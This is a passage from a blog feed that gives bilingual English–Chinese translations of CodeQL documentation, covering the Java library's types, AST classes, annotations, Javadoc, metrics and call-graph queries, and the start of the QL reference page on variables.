href="https://docs.oracle.com/javase/tutorial/java/generics/wildcards.html" target="_blank" rel="noopener">wildcard type</a>:</p><blockquote><p>最后，变量可以被声明为通配符类型:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Map&lt;? extends Number, ? super Float&gt; m;</span><br></pre></td></tr></tbody></table></figure><p>The wildcards <code>? extends Number</code> and <code>? super Float</code> are represented by class <code>WildcardTypeAccess</code>. Like type parameters, wildcards may have type bounds. Unlike type parameters, wildcards can have upper bounds (as in <code>? extends Number</code>), and also lower bounds (as in <code>? super Float</code>). Class <code>WildcardTypeAccess</code> provides member predicates <code>getUpperBound</code> and <code>getLowerBound</code> to retrieve the upper and lower bounds, respectively.</p><blockquote><p>通配符? extends Number和? super Float由类WildcardTypeAccess表示。和类型参数一样，通配符可以有类型边界。与类型参数不同的是，通配符可以有上界（如?extends Number），也可以有下界（如?super Float）。类WildcardTypeAccess提供了成员谓词getUpperBound和getLowerBound来分别检索上界和下界。</p></blockquote><p>For dealing with generic methods, there are classes <code>GenericMethod</code>, <code>ParameterizedMethod</code> and <code>RawMethod</code>, which are entirely analogous to the like-named classes for representing generic types.</p><blockquote><p>对于处理通用方法，有GenericMethod、ParameterizedMethod和RawMethod等类，它们完全类似于表示通用类型的同名类。</p></blockquote><p>For more information on working with types, see the <a href="https://codeql.github.com/docs/codeql-language-guides/types-in-java/" target="_blank" rel="noopener">Types in Java</a>.</p><blockquote><p>有关使用类型的更多信息，请参阅Java中的类型。</p></blockquote><h3 id="Variables"><a href="#Variables" class="headerlink" title="Variables"></a>Variables</h3><p>Class <code>Variable</code> represents a variable <a href="https://docs.oracle.com/javase/tutorial/java/nutsandbolts/variables.html" target="_blank" rel="noopener">in the Java sense</a>, which is either a member field of a class (whether static or not), or a local variable, or a parameter. Consequently, there are three subclasses catering to these special cases:</p><blockquote><p>类变量表示Java意义上的变量，它既可以是一个类的成员字段（不管是静态的还是非静态的），也可以是一个局部变量，或者是一个参数。因此，有三个子类迎合了这些特殊情况:</p></blockquote><ul><li><code>Field</code> represents a Java field. Field代表一个Java字段。</li><li><code>LocalVariableDecl</code> represents a local variable.  LocalVariableDecl代表一个局部变量。</li><li><code>Parameter</code> represents a parameter of a method or constructor. Parameter代表一个方法或构造函数的参数。</li></ul><h2 id="Abstract-syntax-tree"><a href="#Abstract-syntax-tree" class="headerlink" title="Abstract syntax tree"></a>Abstract syntax tree</h2><p>Classes in this category represent abstract syntax tree (AST) nodes, that is, statements (class <code>Stmt</code>) and expressions (class <code>Expr</code>). For a full list of expression and statement types available in the standard QL library, see “<a href="https://codeql.github.com/docs/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs/" target="_blank" rel="noopener">Abstract syntax tree classes for working with Java programs</a>.”</p><blockquote><p>这一类的类代表抽象语法树（AST）节点，即语句（类Stmt）和表达式（类Expr）。关于标准QL库中可用的表达式和语句类型的完整列表，请参见 “用于处理Java程序的抽象语法树类”。</p></blockquote><p>Both <code>Expr</code> and <code>Stmt</code> provide member predicates for exploring the abstract syntax tree of a program:</p><blockquote><p>Expr和Stmt都提供了用于探索程序的抽象语法树的成员谓词。</p></blockquote><ul><li><p><code>Expr.getAChildExpr</code> returns a sub-expression of a given expression. </p><blockquote><p>Expr.getAChildExpr返回一个给定表达式的子表达式。</p></blockquote></li><li><p><code>Stmt.getAChild</code> returns a statement or expression that is nested directly inside a given statement.</p><blockquote><p>Stmt.getAChild返回一个直接嵌套在给定语句中的语句或表达式。</p></blockquote></li><li><p><code>Expr.getParent</code> and <code>Stmt.getParent</code> return the parent node of an AST node.</p><blockquote><p>Expr.getParent和Stmt.getParent返回一个AST节点的父节点。</p></blockquote></li></ul><p>For example, the following query finds all expressions whose parents are <code>return</code> statements:</p><blockquote><p>例如，下面的查询可以找到所有父母是返回语句的表达式:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Expr e</span><br><span class="line">where e.getParent() instanceof ReturnStmt</span><br><span class="line">select e</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/1947757851560375919/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Many projects have examples of <code>return</code> statements with child expressions.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。很多项目都有返回语句与子表达式的例子。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/58u09er58ec/58u09er58ec.png" alt="image-20210403140957983"></p><p><img src="https://gitee.com/samny/images/raw/master/11u10er11ec/11u10er11ec.png" alt="image-20210403141011087"></p><p>Therefore, if the program contains a return statement <code>return x + y;</code>, this query will return <code>x + y</code>.</p><blockquote><p>因此，如果程序中包含一个返回语句return x + y;，这个查询将返回x + y。</p></blockquote><p>As another example, the following query finds statements whose parent is an <code>if</code> statement:</p><blockquote><p>作为另一个例子，下面的查询可以找到父语句是if语句的语句:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Stmt s</span><br><span class="line">where s.getParent() instanceof IfStmt</span><br><span class="line">select s</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/1989464153689219612/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Many projects have examples of <code>if</code> statements with child statements.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。很多项目都有if语句与子语句的例子。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/27u11er27ec/27u11er27ec.png" alt="image-20210403141127739"></p><p><img src="https://gitee.com/samny/images/raw/master/43u11er43ec/43u11er43ec.png" alt="image-20210403141143544"></p><p>This query will find both <code>then</code> branches and <code>else</code> branches of all <code>if</code> statements in the program.</p><blockquote><p>这个查询可以找到程序中所有if语句的then分支和 else分支。</p></blockquote><p>Finally, here is a query that finds method bodies:</p><blockquote><p>最后，这里是一个查找方法体的查询:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Stmt s</span><br><span class="line">where s.getParent() instanceof Method</span><br><span class="line">select s</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/1016821702972128245/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Most projects have many method bodies.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。大多数项目都有许多方法体。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/23u12er23ec/23u12er23ec.png" alt="image-20210403141206903"></p><p><img src="https://gitee.com/samny/images/raw/master/20u12er20ec/20u12er20ec.png" alt="image-20210403141218104"></p><p>As these examples show, the parent node of an expression is not always an expression: it may also be a statement, for example, an <code>IfStmt</code>. Similarly, the parent node of a statement is not always a statement: it may also be a method or a constructor. To capture this, the QL Java library provides two abstract class <code>ExprParent</code> and <code>StmtParent</code>, the former representing any node that may be the parent node of an expression, and the latter any node that may be the parent node of a statement.</p><blockquote><p>正如这些示例所示，一个表达式的父节点并不总是一个表达式：它也可能是一个语句，例如，一个 IfStmt。同样，一个语句的父节点也不总是一个语句：它也可能是一个方法或构造函数。为了抓住这一点，QL Java库提供了两个抽象类ExprParent和StmtParent，前者代表任何可能是表达式的父节点，后者代表任何可能是语句的父节点。</p></blockquote><p>For more information on working with AST classes, see the <a href="https://codeql.github.com/docs/codeql-language-guides/overflow-prone-comparisons-in-java/" target="_blank" rel="noopener">article on overflow-prone comparisons in Java</a>.</p><blockquote><p>有关使用AST类的更多信息，请参见 <a href="https://codeql.github.com/docs/codeql-language-guides/overflow-prone-comparisons-in-java/" target="_blank" rel="noopener">article on overflow-prone comparisons in Java</a>.。</p></blockquote><h2 id="Metadata"><a href="#Metadata" class="headerlink" title="Metadata"></a>Metadata</h2><p>Java programs have several kinds of metadata, in addition to the program code proper. In particular, there are <a href="https://docs.oracle.com/javase/tutorial/java/annotations/" target="_blank" rel="noopener">annotations</a> and <a href="https://en.wikipedia.org/wiki/Javadoc" target="_blank" rel="noopener">Javadoc</a> comments. Since this metadata is interesting both for enhancing code analysis and as an analysis subject in its own right, the QL library defines classes for accessing it.</p><blockquote><p>Java程序除了程序代码本身外，还有几种元数据。特别是有注释和Javadoc注释。由于这些元数据对于增强代码分析和作为分析对象本身都很有趣，QL库定义了用于访问这些元数据的类。</p></blockquote><p>For annotations, class <code>Annotatable</code> is a superclass of all program elements that can be annotated. This includes packages, reference types, fields, methods, constructors, and local variable declarations. For every such element, its predicate <code>getAnAnnotation</code> allows you to retrieve any annotations the element may have. For example, the following query finds all annotations on constructors:</p><blockquote><p>对于注释，类Annotatable是所有可以注释的程序元素的超类。这包括包、引用类型、字段、方法、构造器和局部变量声明。对于每一个这样的元素，它的谓词getAnAnnotation允许你检索该元素可能拥有的任何注释。例如，下面的查询可以找到所有关于构造函数的注解:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Constructor c</span><br><span class="line">select c.getAnAnnotation()</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/3206112561297137365/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. The LGTM.com demo projects all use annotations, you can see examples where they are used to suppress warnings and mark code as deprecated.</p><blockquote><p>➤ 在 LGTM.com 的查询控制台中可以看到。LGTM.com 演示项目都使用了注解，您可以看到使用注解来抑制警告和将代码标记为废弃的例子。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/54u12er54ec/54u12er54ec.png" alt="image-20210403141254733"></p><p><img src="https://gitee.com/samny/images/raw/master/6u13er6ec/6u13er6ec.png" alt="image-20210403141306146"></p><p><img src="https://gitee.com/samny/images/raw/master/13u13er13ec/13u13er13ec.png" alt="image-20210403141313866"></p><p>These annotations are represented by class <code>Annotation</code>. An annotation is simply an expression whose type is an <code>AnnotationType</code>. For example, you can amend this query so that it only reports deprecated constructors:</p><blockquote><p>这些注解由类Annotation表示。注释是一个简单的表达式，其类型是AnnotationType。例如，你可以修改这个查询，使它只报告废弃的构造函数:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Constructor c, Annotation ann, AnnotationType anntp</span><br><span class="line">where ann = c.getAnAnnotation() and</span><br><span class="line">    anntp = ann.getType() and</span><br><span class="line">    anntp.hasQualifiedName("java.lang", "Deprecated")</span><br><span class="line">select ann</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/5393027107459215059/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Only constructors with the <code>@Deprecated</code> annotation are reported this time.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这次只报告带有 @Deprecated 注解的构造函数。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/36u13er36ec/36u13er36ec.png" alt="image-20210403141336606"></p><p><img src="https://gitee.com/samny/images/raw/master/48u13er48ec/48u13er48ec.png" alt="image-20210403141348167"></p><p><img src="https://gitee.com/samny/images/raw/master/56u13er56ec/56u13er56ec.png" alt="image-20210403141356069"></p><p>For more information on working with annotations, see the <a href="https://codeql.github.com/docs/codeql-language-guides/annotations-in-java/" target="_blank" rel="noopener">article on annotations</a>.</p><blockquote><p>有关使用注解的更多信息，请参阅关于注解的文章。</p></blockquote><p>For Javadoc, class <code>Element</code> has a member predicate <code>getDoc</code> that returns a delegate <code>Documentable</code> object, which can then be queried for its attached Javadoc comments. For example, the following query finds Javadoc comments on private fields:</p><blockquote><p>对于Javadoc来说，类Element有一个成员谓词getDoc，它可以返回一个委派的Documentable对象，然后可以查询其附加的Javadoc注释。例如，下面的查询可以找到私有字段的Javadoc注释:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Field f, Javadoc jdoc</span><br><span class="line">where f.isPrivate() and</span><br><span class="line">    jdoc = f.getDoc().getJavadoc()</span><br><span class="line">select jdoc</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/6022769142134600659/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. You can see this pattern in many projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。在很多项目中都可以看到这种模式。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/21u14er21ec/21u14er21ec.png" alt="image-20210403141421800"></p><p><img src="https://gitee.com/samny/images/raw/master/31u14er31ec/31u14er31ec.png" alt="image-20210403141431722"></p><p>Class <code>Javadoc</code> represents an entire Javadoc comment as a tree of <code>JavadocElement</code> nodes, which can be traversed using member predicates <code>getAChild</code> and <code>getParent</code>. For instance, you could edit the query so that it finds all <code>@author</code> tags in Javadoc comments on private fields:</p><blockquote><p>类 Javadoc 将整个 Javadoc 注释表示为 JavadocElement 节点的树，可以使用成员谓词 getAChild 和 getParent 遍历。例如，你可以编辑查询，使其找到私有字段的Javadoc注释中的所有@author标签:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Field f, Javadoc jdoc, AuthorTag at</span><br><span class="line">where f.isPrivate() and</span><br><span class="line">    jdoc = f.getDoc().getJavadoc() and</span><br><span class="line">    at.getParent+() = jdoc</span><br><span class="line">select at</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/2510220694395289111/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. None of the LGTM.com demo projects uses the <code>@author</code> tag on private fields.</p><blockquote><p>➤ 在 LGTM.com 的查询控制台中可以看到。LGTM.com 演示项目中没有一个在私有字段上使用 @author 标签。</p></blockquote><blockquote><p>Note</p><p>On line 5 we used <code>getParent+</code> to capture tags that are nested at any depth within the Javadoc comment.</p><p>在第5行，我们使用getParent+来捕获Javadoc注释中任意深度嵌套的标签。</p></blockquote><p>For more information on working with Javadoc, see the <a href="https://codeql.github.com/docs/codeql-language-guides/javadoc/" target="_blank" rel="noopener">article on Javadoc</a>.</p><blockquote><p>关于使用 Javadoc 的更多信息，请看关于 Javadoc 的文章。</p></blockquote><h2 id="Metrics"><a href="#Metrics" class="headerlink" title="Metrics"></a>Metrics</h2><p>The standard QL Java library provides extensive support for computing metrics on Java program elements. To avoid overburdening the classes representing those elements with too many member predicates related to metric computations, these predicates are made available on delegate classes instead.</p><blockquote><p>标准QL Java库为Java程序元素的度量计算提供了广泛的支持。为了避免与度量计算相关的成员谓词过多而给代表这些元素的类造成过重的负担，这些谓词被放在委托类上。</p></blockquote><p>Altogether, there are six such classes: <code>MetricElement</code>, <code>MetricPackage</code>, <code>MetricRefType</code>, <code>MetricField</code>, <code>MetricCallable</code>, and <code>MetricStmt</code>. The corresponding element classes each provide a member predicate <code>getMetrics</code> that can be used to obtain an instance of the delegate class, on which metric computations can then be performed.</p><blockquote><p>一共有六个这样的类。MetricElement、MetricPackage、MetricRefType、MetricField、MetricCallable和MetricStmt。相应的元素类都提供了一个成员谓词getMetrics，可以用来获取委托类的实例，然后在这个实例上进行度量计算。</p></blockquote><p>For example, the following query finds methods with a <a href="https://en.wikipedia.org/wiki/Cyclomatic_complexity" target="_blank" rel="noopener">cyclomatic complexity</a> greater than 40:</p><blockquote><p>例如，下面的查询可以找到循环复杂度大于40的方法:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Method m, MetricCallable mc</span><br><span class="line">where mc = m.getMetrics() and</span><br><span class="line">    mc.getCyclomaticComplexity() &gt; 40</span><br><span class="line">select m</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/6566950741051181919/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Most large projects include some methods with a very high cyclomatic complexity. These methods are likely to be difficult to understand and test.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。大多数大型项目都包括一些具有非常高循环复杂性的方法。这些方法可能难以理解和测试。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/26u15er26ec/26u15er26ec.png" alt="image-20210403141526423"></p><p><img src="https://gitee.com/samny/images/raw/master/46u15er46ec/46u15er46ec.png" alt="image-20210403141546581"></p><p><img src="https://gitee.com/samny/images/raw/master/38u15er38ec/38u15er38ec.png" alt=""></p><h2 id="Call-graph"><a href="#Call-graph" class="headerlink" title="Call graph"></a>Call graph</h2><p>CodeQL databases generated from Java code bases include precomputed information about the program’s call graph, that is, which methods or constructors a given call may dispatch to at runtime.</p><blockquote><p>由Java代码库生成的CodeQL数据库中包含了关于程序调用图的预计算信息，即一个给定的调用在运行时可能会派发给哪些方法或构造函数。</p></blockquote><p>The class <code>Callable</code>, introduced above, includes both methods and constructors. Call expressions are abstracted using class <code>Call</code>, which includes method calls, <code>new</code> expressions, and explicit constructor calls using <code>this</code> or <code>super</code>.</p><blockquote><p>上文介绍的类Callable既包括方法，也包括构造器。调用表达式是用类Call抽象出来的，它包括方法调用、新表达式和使用this或super的显式构造函数调用。</p></blockquote><p>We can use predicate <code>Call.getCallee</code> to find out which method or constructor a specific call expression refers to. For example, the following query finds all calls to methods called <code>println</code>:</p><blockquote><p>我们可以使用谓词Call.getCallee来查找一个特定的调用表达式指的是哪个方法或构造函数。例如，下面的查询可以找到所有调用println的方法:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Call c, Method m</span><br><span class="line">where m = c.getCallee() and</span><br><span class="line">    m.hasName("println")</span><br><span class="line">select c</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/5861255162551917595/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. The LGTM.com demo projects all include many calls to methods of this name.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。LGTM.com 的演示项目都包含许多对这个名称的方法的调用。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/11u16er11ec/11u16er11ec.png" alt="image-20210403141611245"></p><p><img src="https://gitee.com/samny/images/raw/master/23u16er23ec/23u16er23ec.png" alt="image-20210403141623796"></p><p>Conversely, <code>Callable.getAReference</code> returns a <code>Call</code> that refers to it. So we can find methods and constructors that are never called using this query:</p><blockquote><p>反之，Callable.getAReference返回一个引用它的Call。所以我们可以使用这个查询找到从未被调用的方法和构造函数:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable c</span><br><span class="line">where not exists(c.getAReference())</span><br><span class="line">select c</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/7261739919657747703/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. The LGTM.com demo projects all appear to have many methods that are not called directly, but this is unlikely to be the whole story. To explore this area further, see “<a href="https://codeql.github.com/docs/codeql-language-guides/navigating-the-call-graph/" target="_blank" rel="noopener">Navigating the call graph</a>.”</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。LGTM.com 演示项目似乎都有许多方法没有被直接调用，但这不可能是全部。要进一步探索这个领域，请参见 “导航调用图”。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/39u16er39ec/39u16er39ec.png" alt="image-20210403141639213"></p><p><img src="https://gitee.com/samny/images/raw/master/57u16er57ec/57u16er57ec.png" alt="image-20210403141650173"></p><p><img src="https://gitee.com/samny/images/raw/master/57u16er57ec/57u16er57ec.png" alt="image-20210403141657082"></p><p>For more information about callables and calls, see the <a href="https://codeql.github.com/docs/codeql-language-guides/navigating-the-call-graph/" target="_blank" rel="noopener">article on the call graph</a>.</p><blockquote><p>关于可调用和调用的更多信息，请参见关于调用图的文章。</p></blockquote><h2 id="Further-reading"><a href="#Further-reading" class="headerlink" title="Further reading"></a>Further reading</h2><ul><li><p><a href="https://github.com/github/codeql/tree/main/java/ql/src" target="_blank" rel="noopener">CodeQL queries for Java</a></p></li><li><p><a href="https://github.com/github/codeql/tree/main/java/ql/examples" target="_blank" rel="noopener">Example queries for Java</a></p></li><li><p><a href="https://codeql.github.com/codeql-standard-libraries/java/" target="_blank" rel="noopener">CodeQL library reference for Java</a></p></li><li><p>“<a href="https://codeql.github.com/docs/ql-language-reference/#ql-language-reference" target="_blank" rel="noopener">QL language reference</a>”</p></li><li><p>“<a href="https://codeql.github.com/docs/codeql-overview/codeql-tools/#codeql-tools" target="_blank" rel="noopener">CodeQL tools</a>”</p></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;CodeQL-library-for-Java¶&quot;&gt;&lt;a href=&quot;#CodeQL-library-for-Java¶&quot; class=&quot;headerlink&quot; title=&quot;CodeQL library for Java¶&quot;&gt;&lt;/a&gt;CodeQL library
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Variables</title>
    <link href="https://summersec.github.io/2021/03/28/Variables/"/>
    <id>https://summersec.github.io/2021/03/28/Variables/</id>
    <published>2021-03-28T11:22:16.000Z</published>
    <updated>2021-03-30T13:37:03.663Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Variables¶变量"><a href="#Variables¶变量" class="headerlink" title="Variables¶变量"></a>Variables<a href="https://codeql.github.com/docs/ql-language-reference/variables/#variables" target="_blank" rel="noopener">¶</a>变量</h1><p>Variables in QL are used in a similar way to variables in algebra or logic. They represent sets of values, and those values are usually restricted by a formula.</p><blockquote><p>在QL中，变量的使用方式与代数或逻辑中的变量类似。它们代表一组值，这些值通常受公式限制。</p></blockquote><p>This is different from variables in some other programming languages, where variables represent memory locations that may contain data. That data can also change over time. For example, in QL, <code>n = n + 1</code> is an equality <a href="https://codeql.github.com/docs/ql-language-reference/formulas/#formulas" target="_blank" rel="noopener">formula</a> that holds only if <code>n</code> is equal to <code>n + 1</code> (so in fact it does not hold for any numeric value). In Java, <code>n = n + 1</code> is not an equality, but an assignment that changes the value of <code>n</code> by adding <code>1</code> to the current value.</p><blockquote><p>这与其他一些编程语言中的变量不同，在其他语言中，变量代表可能包含数据的内存位置。这些数据也可以随着时间的推移而改变。例如，在QL中，n = n + 1是一个平等公式，只有当n等于n + 1时才成立（所以事实上它对任何数值都不成立）。在Java中，n = n + 1不是一个等式，而是一个赋值，通过在当前值上加1来改变n的值。</p></blockquote><h2 id="Declaring-a-variable¶变量声明"><a href="#Declaring-a-variable¶变量声明" class="headerlink" title="Declaring a variable¶变量声明"></a>Declaring a variable<a href="https://codeql.github.com/docs/ql-language-reference/variables/#declaring-a-variable" target="_blank" rel="noopener">¶</a>变量声明</h2><p>All variable declarations consist of a <a href="https://codeql.github.com/docs/ql-language-reference/types/#types" target="_blank" rel="noopener">type</a> and a name for the variable. The name can be any <a href="https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#identifiers" target="_blank" rel="noopener">identifier</a> that starts with an uppercase or lowercase letter.</p><blockquote><p>所有的变量声明都由变量的类型和名称组成，名称可以是任何大写或小写字母开头的标识符。名称可以是任何以大写或小写字母开头的标识符。</p></blockquote><p>For example, <code>int i</code>, <code>SsaDefinitionNode node</code>, and <code>LocalScopeVariable lsv</code> declare variables <code>i</code>, <code>node</code>, and <code>lsv</code> with types <code>int</code>, <code>SsaDefinitionNode</code>, and <code>LocalScopeVariable</code> respectively.</p><blockquote><p>例如，int i、SsaDefinitionNode node和LocalScopeVariable lsv分别声明类型为int、SsaDefinitionNode和LocalScopeVariable的变量i、node和lsv。</p></blockquote><p>Variable declarations appear in different contexts, for example in a <a href="https://codeql.github.com/docs/ql-language-reference/queries/#select-clauses" target="_blank" rel="noopener">select clause</a>, inside a <a href="https://codeql.github.com/docs/ql-language-reference/formulas/#quantified-formulas" target="_blank" rel="noopener">quantified formula</a>, as an argument of a <a href="https://codeql.github.com/docs/ql-language-reference/predicates/#predicates" target="_blank" rel="noopener">predicate</a>, and many more.</p><blockquote><p>变量声明出现在不同的上下文中，例如在选择子句中，在量化公式中，作为谓词的一个参数，等等。</p></blockquote><p>Conceptually, you can think of a variable as holding all the values that its type allows, subject to any further constraints.</p><blockquote><p>从概念上讲，你可以把一个变量看作是持有其类型所允许的所有值，并受到任何进一步的约束。</p></blockquote><p>For example, consider the following select clause:</p><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">from int i</span><br><span class="line">where i in [0 .. 9]</span><br><span class="line">select i</span><br></pre></td></tr></tbody></table></figure><p>Just based on its type, the variable <code>i</code> could contain all integers. However, it is constrained by the formula <code>i in [0 .. 9]</code>. Consequently, the result of the select clause is the ten numbers between <code>0</code> and <code>9</code> inclusive.</p><blockquote><p>仅仅根据其类型，变量i可以包含所有的整数。然而，它受到公式i在[0 … 9]中的限制。因此，选择子句的结果是0到9（含）之间的十个数字。</p></blockquote><p>As an aside, note that the following query leads to a compile-time error:</p><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">from int i</span><br><span class="line">select i</span><br></pre></td></tr></tbody></table></figure><p>In theory, it would have infinitely many results, as the variable <code>i</code> is not constrained to a finite number of possible values. For more informaion, see “<a href="https://codeql.github.com/docs/ql-language-reference/evaluation-of-ql-programs/#binding" target="_blank" rel="noopener">Binding</a>.”</p><blockquote><p>理论上，它将会有无限多的结果，因为变量i不受限于有限的可能值。更多信息，请参见 “绑定”。</p></blockquote><hr><h2 id="Free-and-bound-variables¶自由变量和约束变量"><a href="#Free-and-bound-variables¶自由变量和约束变量" class="headerlink" title="Free and bound variables¶自由变量和约束变量"></a>Free and bound variables<a href="https://codeql.github.com/docs/ql-language-reference/variables/#free-and-bound-variables" target="_blank" rel="noopener">¶</a>自由变量和约束变量</h2><p>Variables can have different roles. Some variables are <strong>free</strong>, and their values directly affect the value of an <a href="https://codeql.github.com/docs/ql-language-reference/expressions/#expressions" target="_blank" rel="noopener">expression</a> that uses them, or whether a <a href="https://codeql.github.com/docs/ql-language-reference/formulas/#formulas" target="_blank" rel="noopener">formula</a> that uses them holds or not. Other variables, called <strong>bound</strong> variables, are restricted to specific sets of values.</p><blockquote><p>变量可以有不同的作用。有些变量是自由的，它们的值直接影响使用它们的表达式的值，或者使用它们的公式是否成立。另一些变量，称为约束变量，被限制在特定的值集合中。</p></blockquote><p>It might be easiest to understand this distinction in an example. Take a look at the following expressions:</p><blockquote><p>在一个例子中可能最容易理解这种区别。来看看下面的表达式:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">"hello".indexOf("l")</span><br><span class="line"></span><br><span class="line">min(float f | f in [-3 .. 3])</span><br><span class="line"></span><br><span class="line">(i + 7) * 3</span><br><span class="line"></span><br><span class="line">x.sqrt()</span><br></pre></td></tr></tbody></table></figure><p>The first expression doesn’t have any variables. It finds the (zero-based) indices of where <code>"l"</code> occurs in the string <code>"hello"</code>, so it evaluates to <code>2</code> and <code>3</code>.</p><blockquote><p>第一个表达式没有任何变量。它找到了字符串 “hello “中 “l “出现的位置的（基于零的）指数，所以它的值是2和3。</p></blockquote><p>The second expression evaluates to <code>-3</code>, the minimum value in the range <code>[-3 .. 3]</code>. Although this expression uses a variable <code>f</code>, it is just a placeholder or “dummy” variable, and you can’t assign any values to it. You could replace <code>f</code> with a different variable without changing the meaning of the expression. For example, <code>min(float f | f in [-3 .. 3])</code> is always equal to <code>min(float other | other in [-3 .. 3])</code>. This is an example of a <strong>bound variable</strong>.</p><blockquote><p>第二个表达式的值是-3，即[-3 … 3]范围内的最小值。虽然这个表达式使用了一个变量 f，但它只是一个占位符或 “虚 “变量，你不能给它分配任何值。你可以在不改变表达式含义的情况下，用不同的变量替换f。例如，min(float f | f in [-3 … 3])总是等于min(float other | other in [-3 … 3])。这就是一个约束变量的例子。</p></blockquote><p>What about the expressions <code>(i + 7) * 3</code> and <code>x.sqrt()</code>? In these two 